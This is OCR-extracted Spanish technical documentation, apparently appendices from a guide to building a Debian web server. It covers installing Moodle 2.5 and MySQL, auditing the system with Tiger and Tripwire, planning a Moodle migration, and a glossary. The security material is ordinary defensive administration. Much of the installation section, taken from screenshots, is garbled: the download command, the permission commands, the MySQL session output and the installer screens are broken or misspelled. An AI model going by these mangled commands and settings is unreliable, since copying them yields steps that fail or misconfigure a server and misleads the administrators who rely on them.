« Juegos de caracteres de MySQL: UTF-8 Unicode (utfB)

Tl

r

+ Apachel2.2.22 (Debian)
« Versién del cliente: 5.5.31
- extension PHP: mysali &

- Acerca de esta version: 3.4.11.1deb2
- Documentacidn

- Wiki

« Pagina oficial de phpMyAdmin

« Contribuir

- Obtener soporte

« Lista de cambios




De momento hemos creado en todos puntos los usuarios:

-Usuario normal

-Usuario administrador — root

-Usuario administrador de las bases de datos MySQL — root

Finalmente montaremos Moodle, pero antes se ajustara la configuracion del servidor para ordenar
todo.

Se creara un usuario especifico que sera el encargado del directorio raiz en nuestro servidor Web.
Usuatio: davinci2 y su directotio rafz serd /DAVINCI sera donde hospedare el contenido web

que quiero que los usuarios vean.

weh

roup “web'

5. Montar Moodle va ser el ultimo paso antes de acabar con este servidor Web Linux Debian.

Para ello usaremos un software de Moodle 2.5.

Para comenzar vamos a descargar Moodle y lo vamos a descomprimir en el directorio raiz de
nuestro servidor Web para que pueda ser visto por los usuarios que accedan a él desde el exterior.
Para ello arrancamos nuestro servidor Web con Linux Debian, nos logueamos como (root) y
vamos a entrar en el directorio raiz de nuestro servidor Web (/home/web), después procedemos

a su descarga con el comando (wget) de la siguiente forma.

root@d: 2174 wget http://download.moodle.orgsdownload. phps/directs/stablezsy

odle-

Bajo el directorio /var/www crearemos un subdirectorio llamado moodle y descomprimiremos el

archivo previamente descargado.

avinciz: ™4 tar f moodle




Para cargar los archivos de Moodle necesitaremos escribir dentro de un directorio fuera del

directotio de Apache, por lo que crearemos un siguiente ditectorio en /var/moodledata.

'DAVINCI# mkdir ‘moodled:

Y le damos los permisos de www-data

JINCI# chown wow-data ‘moodled

Instalando MySQL

Obtenemos el paquete mysql-server:

root@davinci2:~# apt-get install mysql-server

Configuring musgl-server-5.5 |
While not mandatory, it is highluy recommended that you set a password
for the MusSOL administrative "root' user.

If this field is left blank, the password will not be changed.

New password for the MuS@L "root' user:

ration

Configuring musgl-server-5.5

Repeat password for the MuSOL "root' user:

Una vez instalada probams el acceso a nuestra MySQL.:



-u root -p

monitar Comman end with

'help; ' ar 'sh' for help. Type ' to clear the current input tement.

Y creamos nuestra base de datos con usuatrio.
odled mysgl -u root o -p

end with ; ar

its affiliate

"sh' for help. Type ' to clear the current input tement.

nci DEFAULT CHARAGTER SET utf8 COLLATE utfg_uni

F -p

with ; or ®

for help. T4ype

Iniciar la instalacion Moodle.



Iniciamos a través del Browser.
http://dns-del-servidor/moodle
http://La-IP-servidor/moodle

1p//192.168.248.128/m £ - G ) instatacion - MoodL..

Instalacion

Idioma

Seleccionar idioma

Por favor, seleccione un idioma para el proceso de instalacion. Este idioma se usara también como idioma por
defecto del sitio, si bien puede cambiarse mas adelante.

Idioma [Espaiiol - éxico (65 m)

S,

Seleccionamos el idioma para nuestro Moodle y confirmamos las rutas de direccion WEB,

Directorio Moodle y el Directorio de datos.

D ~ G ™ instaiacien - Mood.

Instalacion

Rutas.

Confirme las rutas

Direccion Web
Direccion web completa para acceder a Moodle. No es posible acceder a Moodle utiizando multiples
direcciones. Si su sitio fiene varias direcciones piiblicas debe configurar redirecciones permanentes en
todas elas, excepto en ésta. Si su sitio web es accesible tanto desde una intranet como desde Intemet,
escriba aqui la direcci6n publica y configure su DNS para que los usuarios de su intranet puedan también
utiizar la direccidn piblica.

Directorio Moodle
Ruta completa del directorio de instalacion de Moode.

Directorio de Datos
Usted necesita un espacio donde Moodle puede guardar los archivos subidos. En este directorio debe
poder LEER y ESCRIBIR el usuario del servidor web (por lo general 'nobody’, ‘apache’ o ‘www-data’), per
o debe poderse acceder a esta carpeta directamente a traves e la web. £l instalador tratara de crearia si
no existe.

Direccién Web nitp /162 168 245 126moodie
Directorio Moodle arwwwimood
Directorio de Datos | varmoodiedata

[« Antarior | [ Sguente s |

Seleccionamos nuestro controlador de Base de datos.

] hitp//192.168248.128/1 D~ & ] Instalcion - MoodL. *

Instalacion

Base de datos.
Seleccione el controlador de la base de datos

Moodle soporta varios tipos de servidores de base de datos. Por favor, péngase en eontacto con el
administrador del servidor si no sabé qué tipo usar.

Tipo [MySQL mejorado (nativeirmrysal) v
« Antenor | [ Siguente »

fhoodle]



http://dns-del-servidor/moodle
http://la-ip-servidor/moodle

Y agregamos los datos predefinidos que realizamos al crear nuestra Base de datos.

Instalacion

Base de datos

Ajustes de base de datos

MySQL mejorado (nativelmysqli)

Ahora tiene que configurar la base de datos donde se almacenaran la mayoria de los datos de Moodle. La base
de datos solo podra crearse si el usuario de la base de datos tiene los permisos necesarios. £1 nombredeusuario
y la contrasefia ya deben existir. El prefijo de la tabla es opcional

host de la Base de localnost
Datos
Nombre de la base de moodie
datos

Usuario de la base de |mysaidav
datos

Contrasefia de lafSgwiasal x|
base de datos
Prefijo de tablas [mi_ ]
Socket Unix
[L«Anteoor | [[Sppueex |

Instalacion

Base de datos

Ajustes de base de datos

MySQL mejorado (native/mysqli)
Ahora tiene que configurar |a base de datos donde se almacenaran la mayoria de los datos de Moodle. La base

de datos solo podra crearse si el usuario de la base de datos tiene los permisos necesarios. EIl nombredeusuario
yla contrasefia ya deben existir El prefjo de la tabla es opcional

host de la Base de localhost
Datos.

Nombre de la base de [adsvinci x
datos

Usuario de la base de [mysqlday
datos

Contrasefia de la [Sigwidéd
base de datos
Prefijo de tablas [mdi_
Socket Unix [

[ «Antoror | | Sguiente »

T Y X

Instalacién

Moodle - Modular Object-Oriented Dynamic Learning Environment
Copyright

‘Copyright (C) 1999 en adelante, Martn Dougiamas (Btp /moodie com)

wee o
Libre, ya sea ta version 3 do dicha Licencia, o (a su eleccion) cualquer version postenor

UN PROPOSITO

pero SIN NINGUNA GARANTIA
PARTICULAR

¢Ha leido y comprendidd los 1érminas y condiciones?

Una vez finalizado, comprobara que todo esta en orden y procedera a crear las tablas.
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Apéndice E

Herramientas de seguridad en el servidor Web con Linux Debian

Tiger

Tiger es una aplicacion que ayuda a revisar la seguridad del servidor. Esta herramienta realiza
diversas verificaciones sobre la configuraciéon y el estado de varios elementos del sistema
operativo. Ademas, permite realizar estos chequeos de manera periddica. Otros auditores de
seguridad para Linux pueden ser: Cops, SATAN/Sara, Tripwite o Nessus.

El objetivo primordial de Tiger, es analizar el sistema para tratar de encontrar maneras de obtener
privilegios se super usuario. Su disefio parte de la hipotesis de que cualquier otro uid o gid puede
ser obtenido por personas no autorizadas, es decir que cualquier persona puede hacerse pasar por
un usuario normal de la maquina, excepto, por supuesto, por el super usuario.

Algunos chequeos que realiza Tiger son:
e Exportacion de sistema de archivos por NFS
e Configuracion de inetd
e Variables de entorno del sistema
e Permisos de archivos y directorios
e Partches de mantenimiento no aplicados.

e Archivos con suid y sgid.

Para instalar Tiger en el servidor:

root#davinci:~# apt-get install tiger

root@debian:~# apt-get install tiger

Leyendo lista de paguetes... Hecho

Creando &rbol de dependencias

Leyendo la informacidn de estado... Hecho

Los paguetes indicados a continuacidén se instalaron de forma automdtica y ya no son necesarios.
aisleriot argyll browser-plugin-gnash cheese file-roller gdebi gedit gedit-common gedit-plugins
girl.2-gdata-0.0 girl.2-gnomekeyring-1.0 girl.2-goa-1.0 girl.2-gtop-2.0 girl.2-gucharmap-2.90
girl.2-javascriptcoregtk-3.0 girl . 2-rb-3.0 girl.2-tracker-9.14 girl.Z-webkit-3.0 gnash gnash-common
gnome-color-manager gnome-documents gnome-games-data gnome-games-extra-data gnome-nettool
gnome-shell-extensions gnome-tweak-tool gnome-video-effects grilo-plugins-0.1 guile-2.0-1ibs hamster-applet
inkscape iputils-tracepath libboost-threadl.49.0 libdee-1.0-4 libdiscid® libdmapsharing-3.0-2 libgexiv2-1
libgpod-common libgpodd 1ibgrilo-9.1-@ Libgtkmm-2.4-1c2a libgupnp-av-1.0-2 libgupnp-dlna-1.0-2 libiccz
libimdi@ libminiupnpcS libnatpmpl librawS librhythmbox-cores libsofia-sip-ua-glib3 libsofia-sip-uad
libwnck-common libwnck22 minissdpd perlmagick python-gconf python-gnome2 python-1xml python-mako
python-markupsafe python-pyorbit python-wnck python-zeitgeist rhythmbox rhythmbox-data
rhythmbox-plugin-cdrecorder rhythmbox-plugins rygel rygel-playbin rygel-preferences rygel-tracker seahorse
shotwell shotwell-common simple-scan sound-juicer telepathy-rakia transmission-common transmission-gtk
unoconv xdg-user-dirs-gtk xul-ext-adblock-plus zeitgeist-core

Use 'apt-get autoremove' to remove them.

Se instalardn los siguientes paguetes extras:
chkrootkit john john-data tripwire

Se instalaran los siguientes pagquetes NUEVOS:
chkrootkit john john-data tiger tripwire

Q@ actualizados, 5 se instalardn, O para eliminar y € no actualizados.

Mecesito descargar 5 384 kB de archivos.

Se utilizaran 13.8 MB de espacio de disco adicional después de esta operacidn.

iDesea continuar [S/n]?



Los archivos de configuracion de este programa se encuentran en el directorio /etc/tiger

La instalacion del paquete Tiger, realiza diariamente las verificaciones y envia un reporte de los

problemas encontrados. Al igual que con las verificaciones de integridad y logs.

Para ejecutarlo, solo basta con teclear el comando tiger e inmediatamente se empieza a analizar el

sistema, asi como muestra la siguiente imagen.

root@debian: ~# tiger
Tiger UN*X security checking systenm
Developed by Texas A&M University, 1994

Updated by the Advanced Research Corporation, 1999-2002
Further updated by Javier Fernandez-Sanguino, 2001-2010
Contributions by Francisco Manuel Garcia Claramonte, 2009-2010
Covered by the GMU General Public License (GPL)

Configuring. ..

Will try to check using config for 'unknown' running Linux 3.

-486, ..

2.0-4
--CONFIG-- [con005c] Using configuration files for Linux 3.2.0-4-486. Using
configuration files for generic Linux 3.
Tiger security scripts ##% 3,2,3, 2008.09.10.09.30 **+
Beginning security report for debian.

15:
19:
19:
19:
19:
19:
19:
159:
159:
15:
19:
19:
19:
19:
19:
19:
19:
159:

35=
35=
35=
35>
35>
35>
35=
35=
35=
36>
36=
36=
37>
38>
38>
38>
38>
39=

Starting
Checking
Checking
Checking
Checking
Checking
Checking
Checking
Checking
Checking
Checking
Checking
Checking
Checking
Checking

file systems scans in background. ..

password files...

group files...

user accounts...

.rhosts files...

.netrc files...

ttytab, securetty, and login configuration files...
PATH settings...

anonymous ftp setup...

mail aliases...

cron entries...

‘services' configuration...

NF5 export entries...

permissions and ownership of system files...
for indications of break-in...

Performing rootkit checks...
Performing system specific checks...

Al finalizar la ejecucién de tiger, se indica que le reporte se localiza en /var/log/tiger/. En el

reporte se indican los posibles fallos de seguridad en el sistema.



--WARN-- |1net@03w| The port tor service sane 1s also assigned to service

sane-port.

- -WARN-- [inet@03w] The port for service webcache is also assigned to service
http-alt.

--WARN- - [1net@03w] The port for service webcache is also assigned to service
http-alt.

#

Performing MNFS exports check...

# Performing check of system file permissions...

--ALERT-- [perm023al /bins/su is setuid to “root'.

--ALERT-- [perm@23al fusr/binfat is setuid to “daemon'.

--ALERT-- [perm024a] /jusr/binfat is setgid to “daemon'.

--WARN- - [perm@Olw] The owner of fusr/binjat should be root (owned by daemon).
- -WARN-- [permG02w] The group owner of Jusr/binsat should be root.

--ALERT-- [perm023al fusr/binspasswd is setuid to “root'.

--ALERT-- [perm024a] Jusr/binj/wall is setgid to “tty'.

Checking for known intrusion signs...
Testing for promiscuous interfaces with /sbin/ifconfig
Testing for backdoors in inetd.conf

Performing check of files in system mail spool...

Performing check for rookits...
Running chkrootkit (/usr/sbin/chkrootkit) to perform further checks...

Performing system specific checks...
Performing checks for Linux/3...

Checking for single user-mode password...

Checking boot loader file permissions...
-WARN- - [boot@3w] Could not access LILO's or Grub's configuration file

vl OB HH OBH OB HWR

Checking for vulnerabilities in inittab configuration...
-FAIL-- [1in007w] Mormal users can reboot the system through ctrl+alt+del in
runlevels 12345

[

Validar la integridad

Existen varias herramientas para realizar la validacién o verificaciéon de los archivos existentes en
el sistema de archivos. A continuaciéon se muestran algunas de las herramientas que realizan esta
tarea.

En general estas herramientas proveen varias opciones de verificacion, incluyendo hashes con uno
o mas algoritmos criptograficos, verificacion de MAC time (Modificacidén, Acceso y cambio),
permisos, tamafio, etc.

En la mayoria de los casos los directotios /etc y / boot no son modificados porque en ellos se
encuentran los archivos de configuraciéon del sistema y los archivos de inicio del sistema operativo.
Sin embargo hay directorios en los que si se puede haber modificaciones en los archivos, a
continuacién se muestran ejemplos:

Para almacenar los estados de auditorfa es conveniente enviatlos a un servidor de almacenamiento
remoto para tener una copia en caso de alguna intrusiéon en el sistema.

Para las verificaciones de integridad de los archivos, todos los métodos se basan en la creacion de
una base de datos con el estado inicial del sistema para posteriormente comparar los archivos
contra esta base de datos.

St se desea que la base de datos no pueda ser falsificada durante la intrusion, se sugiere montar la

base de datos en un dispositivo de solo lectura, por ejemplo un CD-ROM



Tripwire

Tripwire monitorea la integridad de archivos criticos para el sistema e identifican los cambios que
se hacen sobre dichos archivos. Este programa monitorea en intervalos regulares los archivos
especificados.

Si tripwire detecta que un archivo ha cambiado, notifica al administrador del sistema acerca de
este evento mediante un mensaje de correo electronico. Gracias a que el programa guarda las
versiones de los archivos monitoreados, es posible recuperar una version anterior si se ha
modificado el archivo por algun medio.

Estas caracterfsticas hacen de tripwire una herramienta excelente para los administradores de
sistemas que requieren tanto de facilidades para deteccion de intrusos, como control de dafios de
sus servidores.

Tripwire compara los archivos y directorios con una base de datos de la ubicaciéon de archivos, las
fechas en que han sido modificados y otros datos. La base de datos contiene las versiones de los
archivos y es necesario hacer esta base de datos antes de que el sistema se conecta a la red o se
ponga en produccion.

Después de hacer la base de datos, Tripwire verifica peribdicamente la integridad de los archivos e
informa sobre cualquier modificacion, adicién o eliminaciéon de los mismos.

El siguiente diagrama de flujo muestra el funcionamiento basico de Tripwire:

Instalacién.
La instalacion en el servidor Davinci de Tripwire se realiza de la siguiente manera con el siguiente
comando.

root@divinci:~# apt-get install tripwire _

Al iniciar el instalador de Tripwire mostrard una serie de preguntas para establecer la
configuracion del programa.
En esta pantalla se pregunta que si se generan llaves para firmar archivos compartidos con otros

sistemas, para esto se requiere la contrasefa del sitio. Se acepta la pantalla a proseguir.



En esta pantalla se pregunta es el instalador creara el par de llaves para firmar los archivos locales
del equipo, a esta clave se le denomina clave de sitio. Aceptar la pantalla para seguir adelante.

Se muestra la configuracién de la base de datos que estara cifrada, para esto se requiere la clave de
sitio que se pedira as adelante.

Se muestra el archivo de politicas (directrices) de Tripwire, para descifrarlo se requiere de la clave
de sitio mas adelante.

Se pide la clave del sitio para generar los archivos de configuracion.

Después se pide la clave local para los archivos almacenados al mismo equipo.

Y finalmente aparece un mensaje indicando que la instalacién finalizo con éxito.

No se debe dejar la politica y los archivos de configuraciéon en texto claro en el disco duro.
También se deben establecer los permisos de los archivos para que solo sean de lectura y escritura

para root, esto se realiza con el siguiente comando.

root@divinci:~# chmod 600 /etc/tripwite/tw.cfg /etc/ tripwire/ tw.pol

Configuracion e instalacién del archivo de politicas.

Para modificar las politicas predeterminadas de Tripwire, se modifica el archivo twpol.txt.

Cuando el archivo de politicas contiene todo lo que se desea monitorear, este se tendra que
instalar. Tripwire usa una versién compilada y cifrada de este archivo, que se almacena en tw.pol.

Para generar este archivo se ejecuta el siguiente comando:



root@divinci:~# cd /etc/tripwire
root@divinci:/etc/ tripwire# twadmin -m P /etc/tripwite/twpol.txt
Please enter your site passphrase:

Wrote policy file: /etc/tripwire/tw.pol

Construir la base de datos de Tripwire
Una vez configurado e instalado el archivo de politicas, Tripwire necesita recolectar la
informacién actual de los archivos que deben monitorear. Dicha informacién se almacena en una

base de datos especial generada mediante el comando:

root@divinci:~# tripwire -m i 2>/root/ tripwire.ett

Please enter your local passphrase:

petsing policy file: /etc/tripwire/tw.pol

Generating the database...

*#% Processing Unix File System ***

The object: "/lib/init/rw" is on a different file system... ignoting.
The object: "/dev/pts" is on a different file system... ignoring.
The object: "/dev/shm" is on a different file system... ignoring.
Wrote database file: /var/lib/tripwire/davinci.twd

The database was successfully generated.

En el comando anterior se redirige la salida de error (2<archivo.err) para poder verificar en otro
momento esta salida, en este caso la salida generada es parecida a la siguiente.

root@divinci:~# cat tripwire.err

H### Warning: File system error.

### Filename: /vat/lib/tripwire/davinci.twd

H### No existe el fichero o directorio

### Continuing...

El archivo davinci.twd se genera después de la primera ejecucion exitosa de Tripwire tal y como
muestra el mensaje anterior.

Una vez configurada la base de datos de Tripwire se puede verificar la integridad del sistema

ejecutando el comando Tripwire de la siguiente manera.



root@divinci:~# tripwire -m ¢ -t /root/tripwire.report 2>/root/ tripwite.ert _

Si por algiin motivo algunos de los archivos monitoreados son modificados (por ejemplo, por una
actualizacion en el software), entonces se debe construir la base de datos como se hizo en el paso
anterior para que no aparezcan discrepancias con la integridad del sistema de archivos en
verificaciones posteriores.

Si por alguna razén no es necesario el monitoreo de algunos archivos, se puede configurar el

archivo de politicas y reinstalarlo para después generar la base de datos una vez mas.

Automatizacién.

Una vez configurado, puede ejecutarse de manera periédica para monitorear la integridad de los
archivos especificos. Se puede ejecutar diariamente o con frecuencia que el administrador del
sistema establezca para la verificacion.

En los sistemas tipo Debian, Tripwire instala una entrada en el cron para ejecutarse diariamente,
este script estd ubicado en /etc/cron.daily/tripwire. Si se desea modificar la periodicidad de la
ejecucion se puede mover el script a alguna de las siguientes carpetas.

/etc/cron.weekend

/etc/cron.monthly

/etc/cron.houtly

Para cada ejecucion periddica del script se envia un reporte al usuario root de la maquina local,
basta con verificar que la cuenta reciba el correo y si se tiene alias configurados verificar la

correcta recepcion del reporte.

Regeneracion de archivos.

tripwire guarda el archivo de configuracién y de politica cifrados con la "clave de sitio", estos
archivos son /etc/tripwire/tw.cfg y /etc/tripwire/tw.pol. Depende del administrador del sistema
el conservar estos archivos o borrarlos, dado que Tripwire utiliza los archivos de configuracion
cifrados para realizar sus tareas. En caso de requerir recuperar los archivos de configuraciéon en

texto plano se puede ejecutar el siguiente comando para recuperar el archivo de configuracion:



root@divinci:~# twadmin -m f > /etc/tripwire/twcfg.txt

Para reconstruir el archivo de la politica del sistema, se ejecuta un comando similar

root@divinci:~# twadmin -m p > /etc/tripwire/twpol.txt



Apéndice F

Planificacion estratégica para la migracion de Moodle

La planificacion estratégica es el proceso de seguir las fases de completar un proyecto, alcanzando

las metas planteadas, de la mejor manera posible.

A continuaciéon listaremos aspectos importantes a considerar para realizar la planificacion

estratégica para la migraciéon de Moodle.

)

2)

3)

4)

5)

Informarse de las ventajas y desventajas de la nueva plataforma. Leer en foros
problematicas presentadas y como han sido resueltas y si hay cosas que aun no
han sido resueltas.

Monta una plataforma de pruebas en otro servidor, en donde visualices que
realmente la nueva version es lo que mas conviene. Prueba la mayorfa de las
herramientas que sea posible, trae alguno de los cursos mas completos que tengas
de tu actual plataforma, y verifica que todo funciona correctamente.

Una vez que se haya tomado la decisiéon de que se procedera a actualizar la
plataforma. Deberan reconocer que se debe crear el proyecto y designar a un lider
del mismo, el cual se encargara de cuidar que el proyecto se desarrolle en los
tiempos establecidos y que se cumplan los objetivos planteados, asi como revisar
y/o designar el trabajo necesario a todos los participantes del proyecto.

Brindar la documentacion necesaria para que puedan saber qué novedades tiene la
plataforma y la puedan utilizar plenamente. O bien, definir la capacitacién para el
personal que no la conozca y que desee tomar el curso, debido a que se le
complique el uso de la plataforma. Esto dltimo sujeto a realizar un analisis de si el
personal que utiliza la plataforma necesita o no de una capacitacion.

Hacer el respaldo de todos los cursos y de la plataforma, asi como de la base de
datos. De ser posible respalda las carpetas donde tienes instalado moodle, donde
esta el cédigo. Guardalos en un lugar seguro, podria ser en otro servidor, en
dispositivos externos como discos duros o bien en DVD, etc. Recuerda poner

fechas de respaldo a todo y poner nombres claros de cada cosa que estas



0)

7)

8)

9

respaldando. Por ejemplo, Nombre de la carpeta “Respaldo cursos moodle 20-09-
2013”.

Si vas a reinstalar deberas convertir los cursos de moodle 1.9 que son archivos .zip
a archivos de moodle 2.5 que son archivos .mbz, de otro modo si vas a actualizar
es probable que no tengas que hacer la conversién de todos los cursos, solo
tendras que hacer la conversiéon de los cursos que te den mas problemas. Cabe
comentar que si haces reinstalacion también puedes subir cursos .zip pero te
marcara muchos menos errores si lo conviertes antes a tipo mbz.

Cercidrate de que los respaldos se hayan creado correctamente, prueba en otra
plataforma con las mismas caracteristicas de donde los obtuviste, restaurando al
azar cursos y verifica que estén completos. Si se cuenta con el tiempo suficiente o
las manos suficientes se recomiendan verificar todos los cursos, de no ser asi, se
recomienda tomatlos al azar considerando diferentes tamafos.

Define que método te conviene mas, si actualizar, o bien reinstalar para obtener
las versiones mas actuales de moodle.

Actualizar o reinstalar la plataforma con los espacios adecuados.

10) Realizar los cambios de configuracion necesarios que necesite la plataforma para

su funcionamiento més acorde a como el administrador sepa que se utiliza la
plataforma en su ambito. Permitir suficiente espacio para que se puedan restaurar
los cursos. Y hacer pruebas de que todo funcione correctamente, por ejemplo
verificar que los usuarios puedan subir imagenes a su perfil, y si no revisar que la
librerfa gd esté bien instalada, y si esta instalada y no la reconoce moodle, se
recomienda recompilar el php, etc.

Nota importante: No avanzar de este paso hasta que funcione todo correctamente,
de otro modo es mucho mas complicado resolver los problemas, ya con el
servidor en uso, y con todos los cursos cargados y alumnos inscritos, debido a que

se corren mas riesgos.

11) Cargar todos los cursos que se vayan a utilizar en la nueva plataforma, y hacer

pruebas con estos. Por ejemplo, revisar que los espacios no estén muy distintos y

de ser asi, elegir el tema que sea mas acordé con todos los cursos.

12) Proceder a inscribir a los alumnos en cada curso, de la manera en que se haya

acordado o se tenga decidida.



13) Administrar un correo electrénico o tener algin método de realimentacion de los
usuarios de la plataforma, para que puedan hacer del conocimiento del
administrador, sus comentarios y preguntas acerca de la plataforma o bien que
puedan externar inconformidades y/o problemas que se les presenten.

14) Realizar monitoreo constante del servidor y correr el cron.php constantemente.



Apéndice G

Aspectos para decidir entre reinstalar o migrar

Definir qué método te conviene mas, si actualizar, o reinstalar, dependera de las caracteristicas de
tu servidor y el historial del mismo.

Qué aspectos debes revisar para decidirlo:

Tu plataforma nunca ha tenido fallas significativas, es decir que no tienes quejas en cuanto a su
funcionamiento.

Tu servidor tiene fallas constantes, constantemente priva del servicio de Moodle a tus usuarios.
Tu servidor tiene las ultimas instalaciones instaladas de servicios que utiliza la plataforma o estas
seguro que no te generara problemas hacerlo.

Tu servidor no tiene activadas las actualizaciones y ya tiene bastante tiempo que no lo actualizas.
Y no sabes como estan instalados los servicios.

Tienes una cantidad mayor a 500 cursos en tu plataforma.

Tienes una cantidad pequefia de cursos en tu plataforma.

Tienes al menos una version de Moodle 2.0 Tienes la versiéon de Moodle 1.9 o menores.

Tienes experiencia resolviendo los problemas que se dan al ir actualizando de una plataforma a
otra.

Tienes muy poca experiencia resolviendo los problemas que se dan al ir actualizando de una
plataforma a otra.

Por ejemplo si el servidor sufre de caidas constantes e identificas que la falla es: que las particiones

estan mal distribuidas, lo mejor sera reinstalar y redefinir mejor las particiones.

Si decides actualizar recuerda que se recomienda ampliamente ir de versiéon en version, es decir
1.9 -> 2.0 -> 2.1 -> 2.2. Procura antes de pasar a la version 2 tener la version 1.9 mas actualizada.
St decides hacer reinstalacion en tu servidor, define como vas a proporcionar los espacios de las
particiones dependiendo de dénde instales la base de datos y donde instales tu Moodle. Revisar
documento Instalacién de Debian en donde te decimos como definirlas. Instala los servicios que

necesita Moodle, basandote de Moodle docs., si no lo has hecho antes puede ser de gran utilidad.
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Glosario de términos

e Aplicacién: programa informatico.

e Applet: una pequefia aplicaciéon normalmente disefiada en Java. Esta aplicacion o
programita se ejecuta en el navegador del usuario.

e C(liente: Programa que se usa para contactar y obtener datos de un programa servidor
localizado en otro ordenador, a menudo a gran distancia. Cada programa cliente esta
disefiado para trabajar con uno o mas tipos de programas servidores especificos y cada
servidor requiere un tipo especial de cliente.

e (Cdbdigo fuente: conjunto de instrucciones que forman un programa o subprograma
informatico.

e Cookie: se denominan cookies a pequefios datos que se almacena en el disco duro o en la
memoria temporal del ordenador cuando un usuario accede a las pagianas web. Estas
cookies pueden llegar a ser un peligro para la intimidad de los usuarios.

e Cracker: Individuo que intenta por todos los medios invadir un sistema ajeno,
quebrantando su sistema de seguridad para poder espiar o causar dafios.

e (SS:"Cascade Style Sheet " Hojas de Estilos en Cascada. Son empleadas hoy en dia en la
maquetacion y disefio de sitios web, reemplazando muchas de las etiquetas HTML.

e Tile Transfer (transferencia de ficheros): copia o envio de un fichero de un ordenador a
otro por medio de una red de ordenadores.

e Tile Transfer Protocol -- FTP (Protocolo de Transferencia de Ficheros): este protocolo
permite al usuario acceder y transferir desde un ordernador o red a otro.

e Firewall: Cortafuegos. Programa que permite proteger un ordenador o red de ordenadores
de intrusiones no autorizadas.

e Frame (Marco): Instruccién del lenguaje HTML que permite de dividir una pagina web en
varias zonas o marcos. Cada una de los frames o marcos puede tener un contenido

independiente de las demas.



Free Software (software libre): programas desarrollados y distribuidos segun la filosofia de
dar al usuario la libertad de ejecutar, copiar, distribuir, estudiar, cambiar y mejorar dichos
programa (Linux es un ejemplo de esta filosofia). El software libre no es siempre software
gratuito (equivocacion bastante habitual que tiene su origen en que la palabra inglesa free
significa tanto "libre" como "gratuito").

GUI (Interfaz Grafico de Usuario): componente de una aplicaciéon informatica que el
usuario visualiza y a través de la cual opera con ella. Esta formada por ventanas, botones,
menus e iconos, entre otros elementos.

Hacker: Habitualmente es erroneamente confundido con el cracker. Es una persona que
tiene muchos conocimientos del mundo de las redes. Se dedican normalmente a
comprobar la seguridad de las redes, intentando acceder a ellas de forma no autorizada,

para examinar los fallos de seguridad y corregirlos.

Hipertexto: este concepto fue creado por el fisico norteamericano Vannevar Bush en 1945.
En Internet el término se aplica a los enlaces existentes en las paginas escritas en HTML.
Estos enlaces conducen a otras paginas que pueden ser a su vez paginas de hipertexto. Las
paginas de hipertexto son mostradas a través de navegadores.

HTML: El HTML, acrénimo inglés de Hypertext Markup Language (lenguaje de formato
de documentos de hipertexto), es un lenguaje de marcas disefiado para estructurar textos y
presentarlos en forma de hipertexto, que es el formato estandar de las paginas web.
HTTP: Abreviacion de "Hypertext Transfer Protocol" o, en espafiol, "Protocolo de
Transferencia de Hipertexto". Es el tipo de comunicacién utilizado entre un servidor y un
navegador. Por este motivo, las direcciones de las paginas web comienzan por "http://...".
URL: Es el Localizador Uniforme de Recursos, o dicho mas claramente, es la direccion
que localiza una informacién dentro de Internet.

IP: Internet Protocol. Protocolo responsable del direccionamiento de paquetes entre dos
sistemas que utilizan la familia de protocolos TCP/IP usada en Internet. Es el mas
importante de los protocolos en los que esta basada la red Internet.

Java: Lenguaje de programacion orientado a objeto mas simplificado que el C++,
disefiado por Sun Microsystems. Usado en WWW para la telecarga y telejecucion de
programas en el ordenador cliente. Es compatible con todas las plataformas,

independiente de la plataforma cliente.



Navegador: Un navegador web, hojeador o web browser es una aplicacién software que
permite al usuario recuperar y visualizar documentos de hipertexto, cominmente descritos
en HTML, desde servidores web de todo el mundo a través de Internet.

RSS. Son las siglas de Really Simple Syndication, un formato XML para sindicar o
compartir contenido en la web. Se utiliza para difundir informacién actualizada
frecuentemente a usuarios que se han suscrito a la fuente de contenidos. El formato
permite distribuir contenidos sin necesidad de un navegador, utilizando un software
disefiado para leer estos contenidos RSS (agregador).

Script: una rapida definicién de script puede ser unas lineas de cédigo de algin programa,
entre ellos podemos destacar java script .

Servidor: (host) Computadora conectada a Internet capaz de prestar uno o mas servicios a
otros ordenadores llamados "clientes". Ejemplos de servicios: conexién, cuenta de correo,
sitio web, ftp, news, etc.

Servidor web: Ordenador conectado a la red en cual proporciona una serie de servicios
que pueden ser portales o paginas web.

URL (Localizador Uniforme de Recursos): Sistema unificado de identificacion de recursos
en la red. Ejemplos de URL son :http://www.pcweb.es, ref.=”imagenes/dibujo.jpg”
World Wide Web (WWW): (del inglés, Telarana Mundial), la Web o WWW, es un sistema
de hipertexto que funciona sobre Internet. Para ver la informacién se utiliza una
aplicacién llamada navegador web para extraer elementos de informaciéon (llamados
"documentos" o "péaginas web") de los servidores web (o "sitios") y mostratlos en la

pantalla del usuario.

WYSIWYG :"What You See is What You Get ". Lo que tu ves es lo que consigues
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